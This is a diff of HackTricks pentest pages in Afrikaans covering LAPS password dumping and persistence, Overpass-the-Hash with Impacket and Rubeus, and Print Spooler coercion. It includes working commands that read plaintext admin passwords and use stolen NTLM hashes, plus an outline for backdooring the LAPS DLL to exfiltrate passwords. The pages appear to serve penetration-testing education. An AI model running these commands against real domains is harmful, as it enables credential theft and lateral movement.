Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Werk jy by 'n **cybersekuriteitsmaatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die [hacktricks-opslagplek](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud-opslagplek](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
## Basiese Inligting
|
||||
## Basic Information
|
||||
|
||||
Local Administrator Password Solution (LAPS) is 'n instrument wat gebruik word vir die bestuur van 'n stelsel waar **administrateurs wagwoorde**, wat **uniek, willekeurig en gereeld verander** is, toegepas word op domein-gekoppelde rekenaars. Hierdie wagwoorde word veilig binne Active Directory gestoor en is slegs toeganklik vir gebruikers wat toestemming gekry het deur middel van Toegangsbeheerlyste (ACL's). Die veiligheid van die wagwoord-oordragte van die kliënt na die bediener word verseker deur die gebruik van **Kerberos-weergawe 5** en **Advanced Encryption Standard (AES)**.
|
||||
Local Administrator Password Solution (LAPS) is 'n hulpmiddel wat gebruik word om 'n stelsel te bestuur waar **administrateur wagwoorde**, wat **uniek, ewekansig, en gereeld verander** word, toegepas word op domein-verbonden rekenaars. Hierdie wagwoorde word veilig binne Active Directory gestoor en is slegs toeganklik vir gebruikers wat toestemming ontvang het deur middel van Toegang Beheer Lyste (ACLs). Die sekuriteit van die wagwoord oordragte van die kliënt na die bediener word verseker deur die gebruik van **Kerberos weergawe 5** en **Gevorderde Versleuteling Standaard (AES)**.
|
||||
|
||||
In die domein se rekenaarvoorwerpe, lei die implementering van LAPS tot die byvoeging van twee nuwe eienskappe: **`ms-mcs-AdmPwd`** en **`ms-mcs-AdmPwdExpirationTime`**. Hierdie eienskappe stoor onderskeidelik die **plain-text-administrateurwagwoord** en **die vervaldatum daarvan**.
|
||||
In die domein se rekenaarobjekte, lei die implementering van LAPS tot die toevoeging van twee nuwe eienskappe: **`ms-mcs-AdmPwd`** en **`ms-mcs-AdmPwdExpirationTime`**. Hierdie eienskappe stoor die **plank teks administrateur wagwoord** en **sy vervaldatum**, onderskeidelik.
|
||||
|
||||
### Kontroleer of geaktiveer is
|
||||
### Check if activated
|
||||
```bash
|
||||
reg query "HKLM\Software\Policies\Microsoft Services\AdmPwd" /v AdmPwdEnabled
|
||||
|
||||
|
@ -38,9 +41,9 @@ Get-DomainObject -SearchBase "LDAP://DC=sub,DC=domain,DC=local" | ? { $_."ms-mcs
|
|||
```
|
||||
### LAPS Wagwoord Toegang
|
||||
|
||||
Jy kan die **rofweg LAPS beleid aflaai** vanaf `\\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol` en dan die **`Parse-PolFile`** van die [**GPRegistryPolicyParser**](https://github.com/PowerShell/GPRegistryPolicyParser) pakkie kan gebruik word om hierdie lêer na 'n mens-leesbare formaat te omskep.
|
||||
Jy kan die **rauwe LAPS-beleid** aflaai van `\\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol` en dan **`Parse-PolFile`** van die [**GPRegistryPolicyParser**](https://github.com/PowerShell/GPRegistryPolicyParser) pakket gebruik om hierdie lêer in 'n menslike leesbare formaat om te skakel.
|
||||
|
||||
Verder kan die **inheemse LAPS PowerShell cmdlets** gebruik word as hulle op 'n masjien geïnstalleer is waarop ons toegang het:
|
||||
Boonop kan die **natuurlike LAPS PowerShell cmdlets** gebruik word as hulle op 'n masjien geïnstalleer is waartoe ons toegang het:
|
||||
```powershell
|
||||
Get-Command *AdmPwd*
|
||||
|
||||
|
@ -61,7 +64,7 @@ Find-AdmPwdExtendedRights -Identity Workstations | fl
|
|||
# Read the password
|
||||
Get-AdmPwdPassword -ComputerName wkstn-2 | fl
|
||||
```
|
||||
**PowerView** kan ook gebruik word om uit te vind **wie die wagwoord kan lees en dit kan lees**:
|
||||
**PowerView** kan ook gebruik word om uit te vind **wie die wagwoord kan lees en dit te lees**:
|
||||
```powershell
|
||||
# Find the principals that have ReadPropery on ms-Mcs-AdmPwd
|
||||
Get-AdmPwdPassword -ComputerName wkstn-2 | fl
|
||||
|
@ -71,7 +74,9 @@ Get-DomainObject -Identity wkstn-2 -Properties ms-Mcs-AdmPwd
|
|||
```
|
||||
### LAPSToolkit
|
||||
|
||||
Die [LAPSToolkit](https://github.com/leoloobeek/LAPSToolkit) fasiliteer die opname van LAPS met verskeie funksies. Een daarvan is die ontleding van **`ExtendedRights`** vir **alle rekenaars met LAPS wat geaktiveer is.** Dit sal **groepe** spesifiek wys wat **gedelegeer is om LAPS-wagwoorde te lees**, wat dikwels gebruikers in beskermde groepe is. 'n **Rekening** wat 'n rekenaar by 'n domein gevoeg het, ontvang `Alle Uitgebreide Regte` oor daardie gasheer, en hierdie reg gee die rekening die vermoë om wagwoorde te lees. Opname kan 'n gebruikersrekening wys wat die LAPS-wagwoord op 'n gasheer kan lees. Dit kan ons help om **spesifieke AD-gebruikers** te teiken wat LAPS-wagwoorde kan lees.
|
||||
Die [LAPSToolkit](https://github.com/leoloobeek/LAPSToolkit) fasiliteer die enumerasie van LAPS met verskeie funksies.\
|
||||
Een is om **`ExtendedRights`** te parse vir **alle rekenaars met LAPS geaktiveer.** Dit sal **groepe** spesifiek **gedelegeer om LAPS wagwoorde te lees**, wat dikwels gebruikers in beskermde groepe is.\
|
||||
'n **rekening** wat **'n rekenaar** aan 'n domein aangesluit het, ontvang `All Extended Rights` oor daardie gasheer, en hierdie reg gee die **rekening** die vermoë om **wagwoorde** te **lees**. Enumerasie kan 'n gebruikersrekening toon wat die LAPS wagwoord op 'n gasheer kan lees. Dit kan ons help om **spesifieke AD gebruikers** te teiken wat LAPS wagwoorde kan lees.
|
||||
```powershell
|
||||
# Get groups that can read passwords
|
||||
Find-LAPSDelegatedGroups
|
||||
|
@ -95,16 +100,18 @@ ComputerName Password Expiration
|
|||
------------ -------- ----------
|
||||
DC01.DOMAIN_NAME.LOCAL j&gR+A(s976Rf% 12/10/2022 13:24:41
|
||||
```
|
||||
## **Dumping LAPS-wagwoorde met Crackmapexec**
|
||||
Indien daar geen toegang tot 'n Powershell is nie, kan jy hierdie voorreg afstandbeheer misbruik deur LDAP te gebruik.
|
||||
## **Dumping LAPS Passwords With Crackmapexec**
|
||||
As daar geen toegang tot 'n powershell is nie, kan jy hierdie voorreg op afstand misbruik deur LDAP te gebruik deur
|
||||
```
|
||||
crackmapexec ldap 10.10.10.10 -u user -p password --kdcHost 10.10.10.10 -M laps
|
||||
```
|
||||
Dit sal al die wagwoorde wat die gebruiker kan lees, dump, wat jou in staat stel om 'n beter voet aan die grond te kry met 'n ander gebruiker.
|
||||
|
||||
## **LAPS Volharding**
|
||||
|
||||
### **Vervaldatum**
|
||||
|
||||
Sodra admin, is dit moontlik om die wagwoorde te bekom en te voorkom dat 'n masjien sy wagwoord opdateer deur die vervaldatum in die toekoms in te stel.
|
||||
Sodra jy admin is, is dit moontlik om die **wagwoorde** te **verkry** en 'n masjien te **verhoed** om sy **wagwoord** te **opdateer** deur die vervaldatum in die toekoms te **stel**.
|
||||
```powershell
|
||||
# Get expiration time
|
||||
Get-DomainObject -Identity computer-21 -Properties ms-mcs-admpwdexpirationtime
|
||||
|
@ -114,14 +121,14 @@ Get-DomainObject -Identity computer-21 -Properties ms-mcs-admpwdexpirationtime
|
|||
Set-DomainObject -Identity wkstn-2 -Set @{"ms-mcs-admpwdexpirationtime"="232609935231523081"}
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Die wagwoord sal steeds herstel word as 'n **admin** die **`Reset-AdmPwdPassword`** cmdlet gebruik; of as **Moenie toelaat dat die wagwoordvervaltyd langer as vereis deur beleid** geaktiveer is in die LAPS GPO.
|
||||
Die wagwoord sal steeds teruggestel word as 'n **admin** die **`Reset-AdmPwdPassword`** cmdlet gebruik; of as **Moet nie wagwoordvervaltyd langer as wat deur beleid vereis word toelaat nie** geaktiveer is in die LAPS GPO.
|
||||
{% endhint %}
|
||||
|
||||
### Agterdeur
|
||||
|
||||
Die oorspronklike bronkode vir LAPS kan gevind word [hier](https://github.com/GreyCorbel/admpwd), daarom is dit moontlik om 'n agterdeur in die kode te plaas (binne die `Get-AdmPwdPassword` metode in `Main/AdmPwd.PS/Main.cs` byvoorbeeld) wat op een of ander manier **nuwe wagwoorde eksfiltreer ofêrens stoor**.
|
||||
Die oorspronklike bronkode vir LAPS kan [hier](https://github.com/GreyCorbel/admpwd) gevind word, daarom is dit moontlik om 'n agterdeur in die kode te plaas (binne die `Get-AdmPwdPassword` metode in `Main/AdmPwd.PS/Main.cs` byvoorbeeld) wat op een of ander manier **nuwe wagwoorde sal uitbring of dit êrens sal stoor**.
|
||||
|
||||
Kompilieer dan net die nuwe `AdmPwd.PS.dll` en laai dit op na die masjien in `C:\Tools\admpwd\Main\AdmPwd.PS\bin\Debug\AdmPwd.PS.dll` (en verander die wysigingstyd).
|
||||
Dan, compileer net die nuwe `AdmPwd.PS.dll` en laai dit op na die masjien in `C:\Tools\admpwd\Main\AdmPwd.PS\bin\Debug\AdmPwd.PS.dll` (en verander die wysigingstyd).
|
||||
|
||||
## Verwysings
|
||||
* [https://4sysops.com/archives/introduction-to-microsoft-laps-local-administrator-password-solution/](https://4sysops.com/archives/introduction-to-microsoft-laps-local-administrator-password-solution/)
|
||||
|
@ -130,14 +137,17 @@ Kompilieer dan net die nuwe `AdmPwd.PS.dll` en laai dit op na die masjien in `C:
|
|||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS hakwerk vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersekuriteitsmaatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PRs in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,46 +1,49 @@
|
|||
# Oor Pass the Hash/Pass the Key
|
||||
# Over Pass the Hash/Pass the Key
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Werk jy by 'n **cybersekerheidsmaatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks af in PDF-formaat**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks-swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die [hacktricks-opslagplek](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud-opslagplek](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
## Oor Pass die Hash/Pass die Key (PTK)
|
||||
## Overpass The Hash/Pass The Key (PTK)
|
||||
|
||||
Die **Overpass The Hash/Pass The Key (PTK)**-aanval is ontwerp vir omgewings waar die tradisionele NTLM-protokol beperk is en Kerberos-verifikasie voorrang geniet. Hierdie aanval maak gebruik van die NTLM-hash of AES-sleutels van 'n gebruiker om Kerberos-kaartjies aan te vra, wat ongemagtigde toegang tot hulpbronne binne 'n netwerk moontlik maak.
|
||||
Die **Overpass The Hash/Pass The Key (PTK)** aanval is ontwerp vir omgewings waar die tradisionele NTLM-protokol beperk is, en Kerberos-outekenning prioriteit het. Hierdie aanval benut die NTLM-hash of AES-sleutels van 'n gebruiker om Kerberos-kaarte aan te vra, wat ongeoorloofde toegang tot hulpbronne binne 'n netwerk moontlik maak.
|
||||
|
||||
Om hierdie aanval uit te voer, behels die aanvanklike stap die verkryging van die NTLM-hash of wagwoord van die geteikende gebruiker se rekening. Na die verkryging van hierdie inligting kan 'n Kaartjie-verleningkaartjie (TGT) vir die rekening verkry word, wat die aanvaller in staat stel om dienste of masjiene te benader waarvoor die gebruiker toestemmings het.
|
||||
Om hierdie aanval uit te voer, behels die aanvanklike stap die verkryging van die NTLM-hash of wagwoord van die geteikende gebruiker se rekening. Nadat hierdie inligting verkry is, kan 'n Ticket Granting Ticket (TGT) vir die rekening verkry word, wat die aanvaller in staat stel om toegang te verkry tot dienste of masjiene waartoe die gebruiker toestemming het.
|
||||
|
||||
Die proses kan geïnisieer word met die volgende bevele:
|
||||
Die proses kan begin word met die volgende opdragte:
|
||||
```bash
|
||||
python getTGT.py jurassic.park/velociraptor -hashes :2a3de7fe356ee524cc9f3d579f2e0aa7
|
||||
export KRB5CCNAME=/root/impacket-examples/velociraptor.ccache
|
||||
python psexec.py jurassic.park/velociraptor@labwws02.jurassic.park -k -no-pass
|
||||
```
|
||||
Vir scenarios wat AES256 vereis, kan die `-aesKey [AES sleutel]` opsie gebruik word. Verder kan die verkreëerde kaartjie met verskeie gereedskap soos smbexec.py of wmiexec.py gebruik word, wat die omvang van die aanval verbreed.
|
||||
Vir scenario's wat AES256 vereis, kan die `-aesKey [AES key]` opsie gebruik word. Boonop kan die verkryde kaartjie met verskeie gereedskap gebruik word, insluitend smbexec.py of wmiexec.py, wat die omvang van die aanval verbreed.
|
||||
|
||||
Probleme soos _PyAsn1Error_ of _KDC kan nie die naam vind_ word tipies opgelos deur die Impacket-biblioteek op te dateer of die gasheernaam in plaas van die IP-adres te gebruik, om versoenbaarheid met die Kerberos KDC te verseker.
|
||||
Probleme soos _PyAsn1Error_ of _KDC cannot find the name_ word tipies opgelos deur die Impacket-biblioteek op te dateer of die gasheernaam in plaas van die IP-adres te gebruik, wat verseker dat dit met die Kerberos KDC versoenbaar is.
|
||||
|
||||
'n Alternatiewe opdragreeks met behulp van Rubeus.exe toon 'n ander aspek van hierdie tegniek:
|
||||
'n Alternatiewe opdragvolgorde wat Rubeus.exe gebruik, demonstreer 'n ander aspek van hierdie tegniek:
|
||||
```bash
|
||||
.\Rubeus.exe asktgt /domain:jurassic.park /user:velociraptor /rc4:2a3de7fe356ee524cc9f3d579f2e0aa7 /ptt
|
||||
.\PsExec.exe -accepteula \\labwws02.jurassic.park cmd
|
||||
```
|
||||
Hierdie metode boots die **Pass the Key** benadering na, met 'n fokus op die oorneem en gebruik van die kaartjie direk vir verifikasiedoeleindes. Dit is noodsaaklik om daarop te let dat die inisiasie van 'n TGT versoek gebeurtenis `4768: 'n Kerberos-verifikasiekaartjie (TGT) is aangevra`, wat 'n RC4-HMAC-gebruik standaard aandui, alhoewel moderne Windows-stelsels AES256 verkies.
|
||||
Hierdie metode weerspieël die **Pass the Key** benadering, met 'n fokus op die oorneem en gebruik van die kaartjie direk vir outentikasie doeleindes. Dit is belangrik om te noem dat die inisiëring van 'n TGT versoek gebeurtenis `4768: A Kerberos authentication ticket (TGT) was requested` aktiveer, wat 'n RC4-HMAC gebruik aandui as standaard, hoewel moderne Windows stelsels AES256 verkies.
|
||||
|
||||
Om aan te pas by operasionele veiligheid en AES256 te gebruik, kan die volgende bevel toegepas word:
|
||||
Om aan operasionele sekuriteit te voldoen en AES256 te gebruik, kan die volgende opdrag toegepas word:
|
||||
```bash
|
||||
.\Rubeus.exe asktgt /user:<USERNAME> /domain:<DOMAIN> /aes256:HASH /nowrap /opsec
|
||||
```
|
||||
|
@ -52,14 +55,17 @@ Om aan te pas by operasionele veiligheid en AES256 te gebruik, kan die volgende
|
|||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,46 +1,49 @@
|
|||
# Dwang NTLM Bevoorregte Verifikasie
|
||||
# Force NTLM Privileged Authentication
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## SharpSystemTriggers
|
||||
|
||||
[**SharpSystemTriggers**](https://github.com/cube0x0/SharpSystemTriggers) is 'n **versameling** van **afgeleë verifikasie-aanwysers** wat in C# geskryf is met behulp van die MIDL-kompilator om 3rd party-afhanklikhede te vermy.
|
||||
[**SharpSystemTriggers**](https://github.com/cube0x0/SharpSystemTriggers) is 'n **versameling** van **afgeleë autentikasie triggers** wat in C# gekodeer is met behulp van die MIDL-kompiler om 3departy afhanklikhede te vermy.
|
||||
|
||||
## Spooler-diensmisbruik
|
||||
## Spooler Service Abuse
|
||||
|
||||
As die _**Print Spooler**_-diens **geaktiveer** is, kan jy van sommige reeds bekende AD-verifikasie-inligting gebruik maak om die drukkerserver van die domeinbeheerder te versoek om 'n opdatering oor nuwe drukwerk te stuur en net sê dat dit die kennisgewing na 'n sekere stelsel moet **stuur**.\
|
||||
Let daarop dat wanneer die drukker die kennisgewing na 'n willekeurige stelsel stuur, dit teen daardie **stelsel** geverifieer moet word. Daarom kan 'n aanvaller die _**Print Spooler**_-diens dwing om teen 'n willekeurige stelsel te verifieer, en die diens sal die rekenaarrekening in hierdie verifikasie **gebruik**.
|
||||
As die _**Print Spooler**_ diens **geaktiveer** is, kan jy 'n paar reeds bekende AD-akkrediteerings gebruik om 'n **versoek** aan die Domeinbeheerder se drukbediener te doen vir 'n **opdatering** oor nuwe drukwerk en net vir dit te sê om die **kennisgewing na 'n stelsel te stuur**.\
|
||||
Let daarop dat wanneer die drukker die kennisgewing na 'n arbitrêre stelsels stuur, dit moet **autentiseer teen** daardie **stelsel**. Daarom kan 'n aanvaller die _**Print Spooler**_ diens laat autentiseer teen 'n arbitrêre stelsel, en die diens sal die **rekenaarrekening** in hierdie autentisering **gebruik**.
|
||||
|
||||
### Vind Windows-bedieners op die domein
|
||||
### Finding Windows Servers on the domain
|
||||
|
||||
Gebruik PowerShell om 'n lys van Windows-bokse te kry. Bedieners het gewoonlik voorrang, so laat ons daarop fokus:
|
||||
Gebruik PowerShell om 'n lys van Windows bokse te kry. Bedieners is gewoonlik prioriteit, so kom ons fokus daar:
|
||||
```bash
|
||||
Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt
|
||||
```
|
||||
### Opsoek na Spooler-diens wat luister
|
||||
### Vind Spooler dienste wat luister
|
||||
|
||||
Gebruik 'n effens aangepaste @mysmartlogin se (Vincent Le Toux se) [SpoolerScanner](https://github.com/NotMedic/NetNTLMtoSilverTicket), kyk of die Spooler-diens luister:
|
||||
Gebruik 'n effens aangepaste @mysmartlogin se (Vincent Le Toux se) [SpoolerScanner](https://github.com/NotMedic/NetNTLMtoSilverTicket), kyk of die Spooler Diens luister:
|
||||
```bash
|
||||
. .\Get-SpoolStatus.ps1
|
||||
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}
|
||||
```
|
||||
Jy kan ook rpcdump.py op Linux gebruik en soek na die MS-RPRN-protokol.
|
||||
U kan ook rpcdump.py op Linux gebruik en soek na die MS-RPRN Protokol
|
||||
```bash
|
||||
rpcdump.py DOMAIN/USER:PASSWORD@SERVER.DOMAIN.COM | grep MS-RPRN
|
||||
```
|
||||
